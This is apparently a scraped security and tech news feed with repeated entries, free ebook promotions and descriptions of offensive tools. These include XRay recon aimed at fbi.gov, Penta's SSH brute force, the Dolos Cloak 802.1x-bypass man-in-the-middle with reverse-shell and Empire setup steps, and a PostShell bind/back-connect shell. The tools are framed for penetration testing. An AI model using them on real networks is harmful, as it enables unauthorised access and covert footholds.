While vanity URLs have become a convenient way to personalize links, they also risk phishing…

Researchers Explain How Exploit Vanity URLs Could Allow Phishing Attacks on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:05:09 +0000

Researchers have found numerous security vulnerabilities affecting the open-source platform Icinga. Exploiting the vulnerabilities could…

Multiple Vulnerabilities Found In Icinga IT Monitoring System on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:03:54 +0000

Heads up, Windows users! If you haven’t updated your PCs until now, make sure to…

Microsoft Patch Tuesday May Fixed 75 Bugs Including Three Zero-Day Flaws on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:03:20 +0000

Gunmen say they are influenced by online screeds and broadcasts of past shootings. Do social media sites have a responsibility to rein in hateful and violent content?

Article link

Date of publish: Mon, 16 May 2022 20:01:28 +0000

Sam Bankman-Fried is a studiously disheveled billionaire who made a fortune overseeing trades that are too risky for the U.S. market. Now he wants Washington to follow his lead.

Article link

Date of publish: Sat, 14 May 2022 09:00:25 +0000

Activists and nonprofits are considering digital currencies as a way to raise funds. But can they really do anything other payment methods can’t?

Article link

Date of publish: Sat, 14 May 2022 09:00:15 +0000

HTML files remain one of the most popular attachments used in phishing attacks for the first four months of 2022, showing that the technique remains effective against antispam engines and works well on the victims themselves. [...]

Article link

Date of publish: Mon, 16 May 2022 18:32:04 -0400

An extensive study looking into the top 100k ranking websites has revealed that many are leaking information you enter in the site forms to third-party trackers before you even press submit. [...]

Article link

Date of publish: Mon, 16 May 2022 17:15:41 -0400

The US Department of Justice today said that Moises Luis Zagala Gonzalez (Zagala), a 55-year-old cardiologist with French and Venezuelan citizenship residing in Ciudad Bolivar, Venezuela, created and rented Jigsaw and Thanos ransomware to cybercriminals. [...]

Article link

Date of publish: Mon, 16 May 2022 16:46:50 -0400

"Web Coding And Development All-in-One For Dummies ($25.99 Value) FREE for a Limited Time"

Peak the languages that power the web.

With more high-paying web development jobs opening every day, people with coding and web/app building skills are having no problems finding employment.

If you’re a would-be developer looking to gain the know-how to build the interfaces, databases, and other features that run modern websites, web apps, and mobile apps, look no further. Web Coding & Development All-in-One For Dummies is your go-to interpreter for speaking the languages that handle those tasks.

Get started with a refresher on the rules of coding before diving into the languages that build interfaces, add interactivity to the web, or store and deliver data to sites. When you're ready, jump into guidance on how to put it all together to build a site or create an app.

Get the lowdown on coding basics

• Review HTML and CSS
• Make sense of JavaScript, jQuery, PHP, and MySQL
• Create code for web and mobile apps
• There’s a whole world of opportunity out there for developers—and this fast-track boot camp is here to help you acquire the skills you need to take your career to new heights!

Free offer expires 4/22/2020

DOWNLOAD NOW!

Article link

Date of publish: Mon, 20 Apr 2020 06:25:00 +0000

Smart OSINT Collection of Common IOC (Indicator of compromise) Types

This application is designed to assist security analysts and researchers with the collection and assessment of common IOC types. Accepted IOCs currently include IP addresses, domain names, URLs, and file hashes.

The title of this project is named after Mimir, a figure in Norse mythology renowned for his knowledge and wisdom. This application aims to provide you knowledge into IOCs and then some added "wisdom" by calculating risk scores per IOC, assigning a common malware family name to hash lookups based off of reports from VirusTotal and OPSWAT, and leveraging machine learning tools to determine if an IP, URL, or domain is likely to be malicious.

Base Collection

For network based IOCs, Mimir gathers basic information including:

• Whois
• ASN
• Geolocation
• Reverse DNS
• Passive DNS
• Collection Sources

Some of these sources will require an API key, and occasionally only by getting a paid account and tried to limit reliance on paid services as much as possible.

• PassiveTotal
• VirusTotal
• DomainTools
• OPSWAT
• Google SafeBrowsing
• Shodan
• PulseDive
• CSIRTG
• URLscan
• HpHosts
• Blacklist checks
• Spam blacklist checks
• Risk Scoring

The risk scoring works best when Mimir can gather a decent amount of data points for an IOC; pDNS, well populated url/domain results (communicating samples, associated samples, recent scan data, etc.) and also takes into account the ML malicious-ness prediction result.

Machine Learning Predictions

The machine learning prediction results come from the CSIRT Gadgets projects csirtg-domainsml-py, csirtg-ipsml-py, csirtg-urlsml-py.

Output

Mimir offers results output in various options including local file reports or exporting the results to an external service.

stdout (console output)
normalizes result data, printed with headers and subheaders per module

JSON file
beautified output to local file

Excel
uses multiple sheets per IOC type

MISP
commit new indicators

ThreatConnect
commit new indicators with confidence and threat ratings (optionally assign tags, a description, and a TLP setting)

Download Smart OSINT Collection

Article link

Date of publish: Fri, 31 Jan 2020 09:39:00 +0000

"Cybersecurity: The Beginner's Guide ($29.99 Value) FREE For a Limited Time".

Understand the nitty-gritty of Cybersecurity with ease

It's not a secret that there is a huge talent gap in the cybersecurity industry. Everyone is talking about it including the prestigious Forbes Magazine, Tech Republic, CSO Online, DarkReading, and SC Magazine, among many others. Additionally, Fortune CEO's like Satya Nadella, McAfee's CEO Chris Young, Cisco's CIO Colin Seward shine light on it from time to time.

This book put together all the possible information with regards to cybersecurity, why you should choose it, the need for cyber security and how can you be part of it and fill the cybersecurity talent gap bit by bit.

Features include how to:

• Align your security knowledge with industry leading concepts and tools
• Acquire required skills and certifications to survive the ever changing market needs
• Learn from industry experts to analyse, implement, and maintain a robust environment
• By the end of this book, readers will be well-versed with the security domain and will be capable of making the right choices in the cybersecurity field.

Free offer expires on 17 Dec 2019

Offered Free by: Packt

Download Now

Article link

Date of publish: Wed, 04 Dec 2019 06:43:00 +0000

Article URL: https://www.abetterinternet.org/post/receiving-the-levchin-prize/

Comments URL: https://news.ycombinator.com/item?id=31403313

Points: 127

# Comments: 15

Article link

Date of publish: Mon, 16 May 2022 21:26:19 +0000

Article URL: https://jobs.lever.co/jitxinc/485b853e-acd6-4073-b840-2929f210e9d7

Comments URL: https://news.ycombinator.com/item?id=31403078

Points: 1

# Comments: 0

Article link

Date of publish: Mon, 16 May 2022 21:00:26 +0000

Article URL: https://twitter.com/NeighborGeek/status/1526267594180857856

Comments URL: https://news.ycombinator.com/item?id=31403047

Points: 48

# Comments: 23

Article link

Date of publish: Mon, 16 May 2022 20:56:17 +0000

While vanity URLs have become a convenient way to personalize links, they also risk phishing…

Researchers Explain How Exploit Vanity URLs Could Allow Phishing Attacks on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:05:09 +0000

Researchers have found numerous security vulnerabilities affecting the open-source platform Icinga. Exploiting the vulnerabilities could…

Multiple Vulnerabilities Found In Icinga IT Monitoring System on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:03:54 +0000

Heads up, Windows users! If you haven’t updated your PCs until now, make sure to…

Microsoft Patch Tuesday May Fixed 75 Bugs Including Three Zero-Day Flaws on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 09:03:20 +0000

HP have fixed a severe BIOS vulnerability affecting their laptops, desktops, and POS computer systems.…

High-Severity BIOS Vulnerability Found In Multiple HP Product Models on Latest Hacking News.

Article link

Date of publish: Mon, 16 May 2022 08:57:22 +0000

By: Aladdin Elston, Head of Information Security at Altimetrik  Microsoft and its products are one…

Deep-Sea Phishing: How to defend against attacks on Latest Hacking News.

Article link

Date of publish: Wed, 11 May 2022 07:32:50 +0000

Reportedly, India now demands all VPNs, cryptocurrency exchanges and services, VPS providers, and cloud data…

India Demands VPNs, VPS, And Crypto Exchanges To Log User Data on Latest Hacking News.

Article link

Date of publish: Tue, 10 May 2022 09:58:29 +0000

Regular vulnerability scans can be considered the first line of defense against cyber threats for…

What is the Importance of a Vulnerability Scan? on Latest Hacking News.

Article link

Date of publish: Mon, 09 May 2022 15:10:02 +0000

A new Windows malware has surfaced online, running active malicious campaigns. Researchers found this malware…

New Raspberry Robin Found Dropping Windows Malware on Latest Hacking News.

Article link

Date of publish: Mon, 09 May 2022 07:59:10 +0000

PWAs are web application software that allows you to improve website functionality. These tools give you…

What is a Progressive Website Application? on Latest Hacking News.

Article link

Date of publish: Thu, 05 May 2022 10:42:33 +0000

Given the rise in malicious packages flooding the open-source environment, a new “Package Analysis” tool…

OpenSSF Launches Package Analysis Tool To Detect Malicious Packages on Latest Hacking News.

Article link

Date of publish: Thu, 05 May 2022 08:31:31 +0000

Gunmen say they are influenced by online screeds and broadcasts of past shootings. Do social media sites have a responsibility to rein in hateful and violent content?

Article link

Date of publish: Mon, 16 May 2022 20:01:28 +0000

Sam Bankman-Fried is a studiously disheveled billionaire who made a fortune overseeing trades that are too risky for the U.S. market. Now he wants Washington to follow his lead.

Article link

Date of publish: Sat, 14 May 2022 09:00:25 +0000

Activists and nonprofits are considering digital currencies as a way to raise funds. But can they really do anything other payment methods can’t?

Article link

Date of publish: Sat, 14 May 2022 09:00:15 +0000

They’re quieter and better for the climate. But snow and water create new technological challenges for designers.

Article link

Date of publish: Mon, 16 May 2022 16:05:16 +0000

Mr. Musk has been creating confusion around whether the Twitter deal will close, causing the social media company’s share price to fall.

Article link

Date of publish: Mon, 16 May 2022 22:35:12 +0000

Clever marketers have figured out how easy it is to simulate online intimacy at scale, ventriloquizing alluring models with cheap, offshore labor.

Article link

Date of publish: Mon, 16 May 2022 14:53:26 +0000

Mr. Musk said he wanted to confirm Twitter’s findings that spam and fake accounts make up less than 5 percent of its users.

Article link

Date of publish: Fri, 13 May 2022 19:30:18 +0000

A steep sell-off that gained momentum this week starkly illustrated the risks of the experimental and unregulated digital currencies.

Article link

Date of publish: Thu, 12 May 2022 23:14:42 +0000

The law, prompted by complaints from conservatives, allows people to sue large online platforms that remove posts expressing a particular viewpoint.

Article link

Date of publish: Thu, 12 May 2022 19:45:50 +0000

A 2018 letter from the bureau to the Israeli government is the clearest documentary evidence to date that the agency weighed using the spyware for law enforcement operations.

Article link

Date of publish: Thu, 12 May 2022 19:12:44 +0000

America still doesn’t have a federal data privacy law. But look what we have found — hope!

Article link

Date of publish: Mon, 16 May 2022 02:30:25 +0000

An internal memo shared with employees said the platform’s general manager and general manager for revenue would be departing.

Article link

Date of publish: Thu, 12 May 2022 19:46:59 +0000

Why has the union campaign spread so much further at the coffee chain than at the e-commerce giant?

Article link

Date of publish: Thu, 12 May 2022 16:07:34 +0000

The General Motors chief says efficiencies, innovations and learning from mistakes will allow her company to become a leader in electric vehicles.

Article link

Date of publish: Thu, 12 May 2022 09:00:23 +0000

The Event Horizon Telescope has once again caught sight of the “unseeable.”

Article link

Date of publish: Fri, 13 May 2022 14:56:52 +0000

After a year of turmoil, the company said it plans to test the waters on Wall Street despite investors’ cooling on technology stocks.

Article link

Date of publish: Thu, 12 May 2022 12:57:35 +0000

The company encountered supply-chain problems and investor concern after its initial public offering last year gave it a huge market value.

Article link

Date of publish: Thu, 12 May 2022 15:26:24 +0000

Artificial intelligence is being woven into an array of the company’s products. But the change — for now — is subtle.

Article link

Date of publish: Thu, 12 May 2022 15:36:33 +0000

The confirmation of a third Democrat creates an opportunity for Lina Khan, the Federal Trade Commission’s chair, to advance efforts to rein in corporate power.

Article link

Date of publish: Wed, 11 May 2022 20:50:31 +0000

New releases like Pixar’s “Turning Red” helped the service surpass analyst estimates for new subscribers globally.

Article link

Date of publish: Wed, 11 May 2022 22:06:39 +0000

Delivery apps are making fresh food available to millions who couldn’t have easily gotten it otherwise.

Article link

Date of publish: Wed, 11 May 2022 17:06:27 +0000

The cryptocurrency’s plunging value has mirrored losses in the Nasdaq, a benchmark that’s weighted toward tech stocks.

Article link

Date of publish: Thu, 12 May 2022 10:00:59 +0000

A trend that took off early in the pandemic encourages people to appreciate life’s simple pleasures, a philosophy that resonates just as strongly two years later.

Article link

Date of publish: Mon, 16 May 2022 19:48:11 +0000

Workers are dumping their stock, companies are cutting costs, and layoffs abound as troubling economic forces hit tech start-ups.

Article link

Date of publish: Wed, 11 May 2022 17:32:29 +0000

The February attack rattled Pentagon officials and private industry because it revealed new vulnerabilities in global communications systems.

Article link

Date of publish: Wed, 11 May 2022 07:30:30 +0000

After nearly 22 years, Apple is stopping production of the devices that changed consumer electronics and led to the creation of the iPhone.

Article link

Date of publish: Tue, 10 May 2022 21:53:55 +0000

Article link

Date of publish: Fri, 13 May 2022 11:14:15 +0000

Once a day, at an unpredictable time, BeReal notifies its users that they have two minutes to post a pair of pictures. The feed is mundane, but also fun — for now at least.

Article link

Date of publish: Wed, 11 May 2022 14:39:22 +0000

We’re now buying less online than many had predicted, and it’s throwing tech companies and the economy for a loop.

Article link

Date of publish: Tue, 10 May 2022 18:00:58 +0000

Mr. Musk has said he wants Twitter to be a forum for debate, and he called the barring of Mr. Trump “morally wrong.” The former president has said he would not rejoin the platform.

Article link

Date of publish: Tue, 10 May 2022 19:03:52 +0000

The demise of a relationship that produced one of the most popular games of all time will mean risks for soccer’s governing body but few changes for consumers.

Article link

Date of publish: Wed, 11 May 2022 09:23:26 +0000

Executives said they were aiming to introduce an ad-supported, lower-priced subscription tier in the last three months of the year, quicker than originally indicated.

Article link

Date of publish: Tue, 10 May 2022 21:05:33 +0000

Their houses are piggy banks, their retirement accounts are up and their bosses are eager to please. When the boom ends, everything will change.

Article link

Date of publish: Tue, 10 May 2022 09:00:20 +0000

HTML files remain one of the most popular attachments used in phishing attacks for the first four months of 2022, showing that the technique remains effective against antispam engines and works well on the victims themselves. [...]

Article link

Date of publish: Mon, 16 May 2022 18:32:04 -0400

An extensive study looking into the top 100k ranking websites has revealed that many are leaking information you enter in the site forms to third-party trackers before you even press submit. [...]

Article link

Date of publish: Mon, 16 May 2022 17:15:41 -0400

The US Department of Justice today said that Moises Luis Zagala Gonzalez (Zagala), a 55-year-old cardiologist with French and Venezuelan citizenship residing in Ciudad Bolivar, Venezuela, created and rented Jigsaw and Thanos ransomware to cybercriminals. [...]

Article link

Date of publish: Mon, 16 May 2022 16:46:50 -0400

Apple has released security updates to address a zero-day vulnerability that threat actors can exploit in attacks targeting Macs and Apple Watch devices. [...]

Article link

Date of publish: Mon, 16 May 2022 14:33:32 -0400

An unknown threat actor is targeting German users interested in the Ukraine crisis, infecting them with a custom PowerShell RAT (remote access trojan) and stealing their data. [...]

Article link

Date of publish: Mon, 16 May 2022 14:05:30 -0400

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has removed a Windows security flaw from its catalog of known exploited vulnerabilities due to Active Directory (AD) authentication issues caused by the May 2022 updates that patch it. [...]

Article link

Date of publish: Mon, 16 May 2022 13:24:38 -0400

Offensive Security has released ​Kali Linux 2022.2, the second version in 2022, with desktop enhancements, a fun April Fools screensaver, WSL GUI improvements, terminal tweaks, and best of all, new tools to play with! [...]

Article link

Date of publish: Mon, 16 May 2022 12:35:18 -0400

Sophos has released a fix for a known issue triggering blue screens of death (aka BSODs) on Windows 11 systems running Sophos Home antivirus software after installing the KB5013943 upda [...]

Article link

Date of publish: Mon, 16 May 2022 11:43:07 -0400

The Parker-Hannifin Corporation announced a data breach exposing employees' personal information after the Conti ransomware gang began publishing allegedly stolen data last month. [...]

Article link

Date of publish: Mon, 16 May 2022 10:17:58 -0400

Windows 11 version 22H2 aka Sun Valley 2 is set to launch later this year. Unlike the original Windows 11 release, it won't be a massive update with radical design changes. Instead, Sun Valley 2 will be similar to Windows 10 Anniversary Update, so you can expect minor improvements and a few new features. [...]

Article link

Date of publish: Sun, 15 May 2022 18:15:20 -0400

Hackers have started to exploit a recently patched critical vulnerability, tracked as CVE-2022-30525, that affects Zyxel firewall and VPN devices for businesses. [...]

Article link

Date of publish: Sun, 15 May 2022 14:47:10 -0400

A fake Pixelmon NFT site entices fans with free tokens and collectibles while infecting them with malware that steals their cryptocurrency wallets. [...]

Article link

Date of publish: Sun, 15 May 2022 12:34:09 -0400

Windows admins have been expressing their dismay at Microsoft's decision to move the Quick Assist remote assistance tool to the Microsoft Store. [...]

Article link

Date of publish: Sun, 15 May 2022 10:00:00 -0400

"Web Coding And Development All-in-One For Dummies ($25.99 Value) FREE for a Limited Time"

Peak the languages that power the web.

With more high-paying web development jobs opening every day, people with coding and web/app building skills are having no problems finding employment.

If you’re a would-be developer looking to gain the know-how to build the interfaces, databases, and other features that run modern websites, web apps, and mobile apps, look no further. Web Coding & Development All-in-One For Dummies is your go-to interpreter for speaking the languages that handle those tasks.

Get started with a refresher on the rules of coding before diving into the languages that build interfaces, add interactivity to the web, or store and deliver data to sites. When you're ready, jump into guidance on how to put it all together to build a site or create an app.

Get the lowdown on coding basics

• Review HTML and CSS
• Make sense of JavaScript, jQuery, PHP, and MySQL
• Create code for web and mobile apps
• There’s a whole world of opportunity out there for developers—and this fast-track boot camp is here to help you acquire the skills you need to take your career to new heights!

Free offer expires 4/22/2020

DOWNLOAD NOW!

Article link

Date of publish: Mon, 20 Apr 2020 06:25:00 +0000

Smart OSINT Collection of Common IOC (Indicator of compromise) Types

This application is designed to assist security analysts and researchers with the collection and assessment of common IOC types. Accepted IOCs currently include IP addresses, domain names, URLs, and file hashes.

The title of this project is named after Mimir, a figure in Norse mythology renowned for his knowledge and wisdom. This application aims to provide you knowledge into IOCs and then some added "wisdom" by calculating risk scores per IOC, assigning a common malware family name to hash lookups based off of reports from VirusTotal and OPSWAT, and leveraging machine learning tools to determine if an IP, URL, or domain is likely to be malicious.

Base Collection

For network based IOCs, Mimir gathers basic information including:

• Whois
• ASN
• Geolocation
• Reverse DNS
• Passive DNS
• Collection Sources

Some of these sources will require an API key, and occasionally only by getting a paid account and tried to limit reliance on paid services as much as possible.

• PassiveTotal
• VirusTotal
• DomainTools
• OPSWAT
• Google SafeBrowsing
• Shodan
• PulseDive
• CSIRTG
• URLscan
• HpHosts
• Blacklist checks
• Spam blacklist checks
• Risk Scoring

The risk scoring works best when Mimir can gather a decent amount of data points for an IOC; pDNS, well populated url/domain results (communicating samples, associated samples, recent scan data, etc.) and also takes into account the ML malicious-ness prediction result.

Machine Learning Predictions

The machine learning prediction results come from the CSIRT Gadgets projects csirtg-domainsml-py, csirtg-ipsml-py, csirtg-urlsml-py.

Output

Mimir offers results output in various options including local file reports or exporting the results to an external service.

stdout (console output)
normalizes result data, printed with headers and subheaders per module

JSON file
beautified output to local file

Excel
uses multiple sheets per IOC type

MISP
commit new indicators

ThreatConnect
commit new indicators with confidence and threat ratings (optionally assign tags, a description, and a TLP setting)

Download Smart OSINT Collection

Article link

Date of publish: Fri, 31 Jan 2020 09:39:00 +0000

"Cybersecurity: The Beginner's Guide ($29.99 Value) FREE For a Limited Time".

Understand the nitty-gritty of Cybersecurity with ease

It's not a secret that there is a huge talent gap in the cybersecurity industry. Everyone is talking about it including the prestigious Forbes Magazine, Tech Republic, CSO Online, DarkReading, and SC Magazine, among many others. Additionally, Fortune CEO's like Satya Nadella, McAfee's CEO Chris Young, Cisco's CIO Colin Seward shine light on it from time to time.

This book put together all the possible information with regards to cybersecurity, why you should choose it, the need for cyber security and how can you be part of it and fill the cybersecurity talent gap bit by bit.

Features include how to:

• Align your security knowledge with industry leading concepts and tools
• Acquire required skills and certifications to survive the ever changing market needs
• Learn from industry experts to analyse, implement, and maintain a robust environment
• By the end of this book, readers will be well-versed with the security domain and will be capable of making the right choices in the cybersecurity field.

Free offer expires on 17 Dec 2019

Offered Free by: Packt

Download Now

Article link

Date of publish: Wed, 04 Dec 2019 06:43:00 +0000

"Best Practices for Protecting Against Phishing, Ransomware and Email Fraud"

Osterman Research conducted a survey among corporate decisions makers in early 2018 and found that nearly 28% of those organizations had experienced a phishing attack that was successful in infecting their networks with malware.

Over 17% of organizations had email as part of a CEO Fraud/BEC attack that successfully tricked one or more of their senior executives in the last 12 months. Don’t let this happen to your organization.

Download the Osterman Research Whitepaper, Best Practices for Protecting Against Phishing, Ransomware and Email Fraud, and learn ten best practices you should consider to better protect your systems and network, train your users to be security-aware, and safeguard your organization’s sensitive and confidential data from phishing attacks, ransomware, and CEO Fraud.

Download Free eBook

Article link

Date of publish: Mon, 25 Nov 2019 07:46:00 +0000

XRay is a software for recon, mapping and OSINT gathering from public networks.

XRay for network OSINT gathering, its goal is to make some of the initial tasks of information gathering and network mapping automatic.

How Does it Work?

XRay is a very simple tool, it works this way:

1. It'll bruteforce subdomains using a wordlist and DNS requests.
2. For every subdomain/ip found, it'll use Shodan to gather open ports and other intel.
3. If a ViewDNS API key is provided, for every subdomain historical data will be collected.
4. For every unique IP address, and for every open port, it'll launch specific banner grabbers and info collectors.
5. Eventually the data is presented to the user on the web ui.

Grabbers and Collectors

• HTTP Server, X-Powered-By and Location headers.
• HTTP and HTTPS robots.txt disallowed entries.
• HTTPS certificates chain ( with recursive subdomain grabbing from CN and Alt Names ).
• HTML title tag.
• DNS version.bind. and hostname.bind. records.
• MySQL, SMTP, FTP, SSH, POP and IRC banners.

Notes

Shodan API Key

The shodan.io API key parameter ( -shodan-key KEY ) is optional, however if not specified, no service fingerprinting will be performed and a lot less information will be shown (basically it just gonna be DNS subdomain enumeration).

ViewDNS API Key

If a ViewDNS API key parameter ( -viewdns-key KEY ) is passed, domain historical data will also be retrieved.

Anonymity and Legal Issues

The software will rely on your main DNS resolver in order to enumerate subdomains, also, several connections might be directly established from your host to the computers of the network you're scanning in order to grab banners from open ports. Technically, you're just connecting to public addresses with open ports (and there's no port scanning involved, as such information is grabbed indirectly using Shodan API), but you know, someone might not like such behaviour.

Building a Docker image

To build a Docker image with the latest version of XRay:

git clone https://github.com/evilsocket/xray.git
cd xray
docker build -t xraydocker .

Once built, XRay can be started within a Docker container using the following:

docker run --rm -it -p 8080:8080 xraydocker xray -address 0.0.0.0 -shodan-key shodan_key_here -domain example.com 

Manual Compilation

Make sure you are using Go >= 1.7, that your installation is working properly, that you have set the $GOPATH variable and you have appended $GOPATH/bin to your $PATH.

Then:

go get github.com/evilsocket/xray
cd $GOPATH/src/github.com/evilsocket/xray/
make

You'll find the executable in the build folder.

Usage

Usage: xray -shodan-key YOUR_SHODAN_API_KEY -domain TARGET_DOMAIN

Options:
  -address string
        IP address to bind the web ui server to. (default "127.0.0.1")
  -consumers int
        Number of concurrent consumers to use for subdomain enumeration. (default 16)
  -domain string
        Base domain to start enumeration from.
  -port int
        TCP port to bind the web ui server to. (default 8080)
  -preserve-domain
        Do not remove subdomain from the provided domain name.
  -session string
        Session file name. (default "<domain-name>-xray-session.json")
  -shodan-key string
        Shodan API key.
  -viewdns-key string
        ViewDNS API key.
  -wordlist string
        Wordlist file to use for enumeration. (default "wordlists/default.lst")

Example:

# xray -shodan-key yadayadayadapicaboo... -viewdns-key foobarsomethingsomething... -domain fbi.gov

____  ___
\   \/  /
 \     RAY v 1.0.0b
 /    by Simone 'evilsocket' Margaritelli
/___/\  \
      \_/

@ Saving session to fbi.gov-xray-session.json
@ Web UI running on http://127.0.0.1:8080/

Download XRay

Article link

Date of publish: Mon, 11 Nov 2019 09:53:00 +0000

"Hacking for Dummies, 6th Edition ($29.99 Value) Free for a Limited Time"

Stop hackers before they hack you!

In order to outsmart a would-be hacker, you need to get into the hacker’s mindset and with this book, thinking like a bad guy has never been easier. Get expert knowledge on penetration testing, vulnerability assessments, security best practices, and ethical hacking that is essential in order to stop a hacker in their tracks.

This no-nonsense book helps you learn how to recognize the vulnerabilities in your systems so you can safeguard them more diligently—with confidence and ease.

• Get up to speed on Windows 10 hacks  
• Learn about the latest mobile computing hacks
• Get free testing tools   
• Find out about new system updates and improvements
• There’s no such thing as being too safe — and this resourceful guide helps ensure you’re protected.

DOWNLOAD NOW

Free offer expires 10/15/19

Offered Free by: Wiley

Article link

Date of publish: Mon, 14 Oct 2019 14:22:00 +0000

• Automated Vulnerability Scanner for XSS 
• Written in Python3 

Traxss is an automated framework to scan URLs and webpages for XSS Vulnerabilities. It includes over 575 Payloads to test with and multiple options for robustness of tests.

Getting Started

Prerequisites
Traxss depends on Chromedriver. On MacOS this can be installed with the homebrew command:

brew install cask chromedriver

Alternatively, find a version for other operating systems here: https://sites.google.com/a/chromium.org/chromedriver/downloads

Installation

Run the command:

pip3 install -r requirements.txt

Running Traxss
Traxx can be started with the command:

python3 traxss.py

This will launch an interactive CLI to guide you through the process.

Types of Scans

Full Scan with HTML

Uses a query scan with 575+ payloads and attempts to find XSS vulnerabilities by passing parameters through the URL. It will also render the HTML and attempt to find manual XSS Vulnerablities (this feature is still in beta).

Full Scan w/o HTML

This scan will run the query scan only.

Fast Scan w/o HTML

This scan is the same as the full w/ HTML but it will only use 7 attack vectors rather than the 575+ vectors.

Fast Scan w/o HTML

This scan is the same as the fast w/o HTML but it will only use 7 attack vectors rather than the 575+ vectors.

Contributing

Thank you for your interest! All types of contributions are welcome.

• Fork and clone this repository
• Create your branch from the master branch
• Please open your PR with the master branch as the base

Download TraXSS

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Date of publish: Mon, 14 Oct 2019 08:28:00 +0000

Penta (PENTest + Automation tool) is Pentest automation tool using Python3.

Installation

Install requirements
penta requires the following packages.

• Python3.7
• pipenv

Resolve python package dependency.

$ pipenv install

If you dislike pipenv..

$ pip install -r requirements.txt

Usage

$ pipenv run start <options>

If you dislike pipenv...

$ python penta/penta.py

Usage: List options

$ pipenv run start -h

usage: penta.py [-h] [-target TARGET] [-ports PORTS] [-proxy PROXY]

Penta is Pentest automation tool.

optional arguments:

•   -h, --help      show this help message and exit
•   -target TARGET  Specify target IP / domain
•   -ports PORTS    Please, specify the target port(s) separated by comma.
•                   Default: 21,22,25,80,110,443,8080
•   -proxy PROXY    Proxy[IP:PORT]

Usage: Main menu

[ ] === MENU LIST =================================
[0] EXIT
[1] Port scanning Default: 21,22,25,80,110,443,8080
[2] Nmap & vuln scanning
[3] Check HTTP option methods
[4] Grab DNS server info
[5] Shodan host search
[6] FTP connect with anonymous
[7] SSH connect with Brute Force
[99] Change target host

1. Port scanning
To check ports for a target. Log output supported.

2. Nmap
To check ports by additional means using nmap

3. Check HTTP option methods
To check the methods (e.g. GET,POST) for a target.

4. Grab DNS server info
To show the info about DNS server.

Shodan host search To collect host service info from Shodan.
Request Shodan API key to enable the feature.

FTP connect with anonymous To check if it has anonymous access activated in port 21. FTP users can authenticate themselves using the plain text sign-in protocol (Typically username and password format), but they can connect anonymously if the server is configured to allow it.

Anyone can log in to the server if the administrator has allowed an FTP connection with an anonymous login.

SSH connect with Brute Force To check ssh connection to scan with Brute Force. Dictionary data is in data/dict.

Download Now

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Date of publish: Thu, 10 Oct 2019 18:57:00 +0000

Dolos Cloak- Automated 802.1x Bypass

Dolos Cloak is a python script designed to help network penetration testers and red teamers bypass 802.1x solutions by using an advanced man-in-the-middle attack.

The script is able to piggyback on the wired connection of a victim device that is already allowed on the target network without kicking the victim device off the network. It was designed to run on an Odroid C2 running Kali ARM and requires two external USB ethernet dongles. It should be possible to run the script on other hardware and distros but it has only been tested on an Odroid C2 thus far.

How it Works

Dolos Cloak uses iptables, arptables, and ebtables NAT rules in order to spoof the MAC and IP addresses of a trusted network device and blend in with regular network traffic. On boot, the script disallows any outbound network traffic from leaving the Odroid in order to hide the MAC addresses of its network interfaces.

Next, the script creates a bridge interface and adds the two external USB ethernet dongles to the bridge. All traffic, including any 802.1x authentication steps, is passed on the bridge between these two interfaces.

In this state, the device is acting like a wire tap. Once the Odroid is plugged in between a trusted device (desktop, IP phone, printer, etc.) and the network, the script listens to the packets on the bridge interface in order to determine the MAC address and IP of the victim device.

Once the script determines the MAC address and IP of the victim device, it configures NAT rules in order to make all traffic on the OUTPUT and POSTROUTING chains look like it is coming from the victim device. At this point, the device is able to communicate with the network without being burned.

Once the Odroid is spoofing the MAC address and IP of the victim device, the script sends out a DHCP request in order to determine its default gateway, search domain, and name servers. It uses the response in order to configure its network settings so that the device can communicate with the rest of the network.

At this point, the Odroid is acting as a stealthy foothold on the network. Operators can connect to the Odroid over the built-in NIC eth0 in order to obtain network access. The device can also be configured to send out a reverse shell so that operators can utilize the device as a drop box and run commands on the network remotely.

For example, the script can be configured to run an Empire python stager after running the man-in-the-middle attack. You can then use the Empire C2 connection to upgrade to a TCP reverse shell or VPN tunnel.

Installation and Usage

• Perform default install of Kali ARM on Odroid C2. 

ssh root@169.254.44.44

• Be sure to save this project to /root/tools/dolos_cloak
• Plug one external USB NIC into the Odroid and run dhclient to get internet access in order to install dependencies:

dhclient usbnet0

• Run the install script to get all the dependencies and set the Odroid to perform the MitM on boot by default. Keep in mind that this will make drastic changes to the device's network settings and disable Network Manager. You may want to download any additional tools before this step:

cd setup
./setup.sh

• You may want to install some other tools like 'host' that do not come standard on Kali ARM. Empire, enum4linux, and responder are also nice additions.
• Make sure you are able to ssh into the Odroid via the built-in NIC eth0. Add your public key to /root/.ssh/authorized_keys for fast access.
• Modify config.yaml to meet your needs. You should make sure the interfaces match the default names that your Odroid is giving your USB dongles. Order does not matter here. You should leave client_ip, client_mac, gateway_ip, and gateway_mac blank unless you used a LAN tap to mine them. The script should be able to figure this out for us. Set these options only if you know for sure their values. The management_int, domain_name, and dns_server options are placeholders for now but will be usefull very soon. For shells, you can set up a custom autorun command in the config.yaml to run when the man-in-middle attack has autoconfigured. You can also set up a cron job to send back shells.
• Connect two usb ethernet dongles and reboot the device (you need two because the built-in ethernet won't support promiscuous mode)
• Boot the device and wait a few seconds for autosniff.py to block the OUTPUT ethernet and IP chains. Then plug in the Odroid between a trusted device and the network.
• PWN N00BZ, get $$$, have fun, hack the planet

Tips

• Mod and run ./scripts/upgrade_to_vpn.sh to turn a stealthy Empire agent into a full blown VPN tunnel
• Mod and run ./scripts/reverse_listener_setup.sh to set up a port for a reverse listener on the device.
• Run ./scripts/responder_setup.sh to allow control of the protocols that we capture for responder. You shoud run responder on the bridge interface:

responder -I mibr

• Be careful as some NAC solutions use port 445, 443, and 80 to periodically verify hosts. Working on a solution to this.
• Logs help when the autosniff.py misbehaves. The rc.local is set to store the current session logs in ./logs/session.log and logs in ./logs/history.log so we can reboot and still check the last session's log if need be. Log files have cool stuff in them like network info, error messages, and all bash commands to set up the NAT ninja magic.

Download Dolos Cloak

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Date of publish: Mon, 23 Sep 2019 07:54:00 +0000

PostShell - Post Exploitation Bind/Backconnect Shell

PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control.

